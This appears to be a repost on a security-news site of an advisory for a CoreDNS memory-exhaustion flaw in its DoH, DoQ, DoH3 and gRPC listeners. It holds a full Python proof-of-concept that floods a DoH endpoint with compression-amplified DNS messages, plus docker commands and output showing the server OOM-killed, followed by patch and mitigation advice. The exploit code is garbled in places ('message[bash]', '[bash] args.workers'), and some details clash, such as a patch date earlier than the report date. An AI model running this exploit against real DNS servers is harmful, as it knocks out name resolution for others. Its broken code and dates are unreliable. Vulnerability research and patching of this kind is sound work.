Listen to this Post
CVE-2026-82399 is a high-severity unauthenticated denial-of-service vulnerability in CoreDNS, a popular DNS server written in Go. The flaw resides in the custom transport request paths for DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC. These listeners directly call `dns.Msg.Unpack` on attacker-controlled DNS section counts before validating the fixed header with dns.DefaultMsgAcceptFunc. In contrast, the standard miekg/dns UDP and TCP server first decodes the fixed 12-byte header and invokes DefaultMsgAcceptFunc, which rejects requests unless QDCOUNT is exactly one and also limits other section counts, before unpacking any sections. CoreDNS’s custom transports bypass this early validation entirely. Parsing occurs before the plugin chain, meaning that plugin-level rate limiting or request handling cannot prevent the allocation. An unauthenticated client can exploit DNS name compression to make a single 65,533-byte request allocate more than 10 MiB during unpacking. When multiple concurrent requests are sent, memory exhaustion occurs, and CoreDNS terminates. The fix involves applying `dns.DefaultMsgAcceptFunc` to the fixed header before calling `Msg.Unpack` in each custom request transport, while response decoding must remain separate because the request policy intentionally rejects response headers.
DailyCVE Form:
Platform: CoreDNS
Version: v1.14.6
Vulnerability : Memory exhaustion
Severity: High
date: 2026-09-16
Prediction: Patch available 2026-08-19
What Undercode Say:
Analytics
The following commands and code are used to reproduce the vulnerability in a controlled environment.
Corefile.cd01:
https://.:8053 {
tls /cert.pem /key.pem
whoami
}
poc-cd01.py:
!/usr/bin/env python3
import argparse
import concurrent.futures
from collections import Counter
import http.client
import ssl
import struct
def normal_query():
header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0)
question = b"\x07example\x03org\x00" + struct.pack("!HH", 1, 1)
return header + question, 1
def attack_query():
message = bytearray(65535)
offset = 12
name_offset = offset
for size in (63, 63, 63, 61):
message[bash] = size
offset += 1
message[offset : offset + size] = b"\x01" size
offset += size
message[bash] = 0
offset += 1
struct.pack_into("!HH", message, offset, 1, 1)
offset += 4
questions = 1
while offset + 6 <= len(message):
struct.pack_into("!HHH", message, offset, 0xC000 | name_offset, 1, 1)
offset += 6
questions += 1
struct.pack_into(
"!HHHHHH", message, 0, 0x1234, 0x0100, questions, 0, 0, 0
)
return bytes(message[:offset]), questions
def send(payload):
context = ssl._create_unverified_context()
connection = http.client.HTTPSConnection(
"127.0.0.1", 18053, timeout=3, context=context
)
try:
connection.request(
"POST",
"/dns-query",
body=payload,
headers={"Content-Type": "application/dns-message"},
)
response = connection.getresponse()
response.read()
return f"http-{response.status}"
except Exception:
return "error"
finally:
connection.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--normal", action="store_true")
parser.add_argument("--workers", type=int, default=1)
args = parser.parse_args()
payload, questions = normal_query() if args.normal else attack_query()
print(
f"payload={len(payload)} questions={questions} workers={args.workers}"
)
with concurrent.futures.ThreadPoolExecutor(args.workers) as pool:
results = pool.map(send, [bash] args.workers)
print(Counter(results))
if <strong>name</strong> == "<strong>main</strong>":
main()
Build the Linux binary and container image:
GOCACHE=/tmp/coredns-gocache \ GOOS=linux GOARCH="$(go env GOARCH)" CGO_ENABLED=0 \ go build -tags=grpcnotrace -o coredns . docker build --tag coredns-cd01:vulnerable .
Start CoreDNS with a 64 MiB memory and swap limit:
docker run --detach --name coredns-cd01 \ --memory 64m --memory-swap 64m \ --publish 127.0.0.1:18053:8053/tcp \ --volume "$PWD/Corefile.cd01:/Corefile:ro" \ --volume "$PWD/plugin/tls/test_cert.pem:/cert.pem:ro" \ --volume "$PWD/plugin/tls/test_key.pem:/key.pem:ro" \ coredns-cd01:vulnerable -conf /Corefile
Confirm that the listener works and that one malicious request is accepted:
$ python3 poc-cd01.py --normal
payload=29 questions=1 workers=1
Counter({'http-200': 1})
$ python3 poc-cd01.py
payload=65533 questions=10878 workers=1
Counter({'http-200': 1})
Send 32 malicious requests concurrently and inspect the container:
$ python3 poc-cd01.py --workers 32
payload=65533 questions=10878 workers=32
Counter({'error': 32})
$ docker inspect --format '{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}' coredns-cd01
exited OOMKilled=true ExitCode=137
Exploit: (Educational Purposes!)
The exploit leverages the fact that custom transports call `dns.Msg.Unpack` without first validating the DNS header with dns.DefaultMsgAcceptFunc. By crafting a DNS message with a large number of questions and using name compression, an attacker can cause significant memory allocation amplification. Concurrent requests then exhaust the server’s memory, leading to OOM termination. The PoC demonstrates sending such requests against a DoH listener, resulting in `OOMKilled=true` and exit code 137.
Protection: from this CVE
- Upgrade CoreDNS to version 1.14.7 or later, which applies `dns.DefaultMsgAcceptFunc` to the fixed header before `Msg.Unpack` in each custom request transport.
- If immediate patching is not possible, restrict network access to DoH, DoH3, DoQ, and DNS-over-gRPC listeners to trusted sources only.
- Monitor container memory usage and configure appropriate memory limits and alerts to detect abnormal allocation patterns.
- Avoid exposing these listeners directly to the public internet; use a reverse proxy or API gateway with request size and rate limiting controls.
Impact:
This is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking. In the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service. CoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

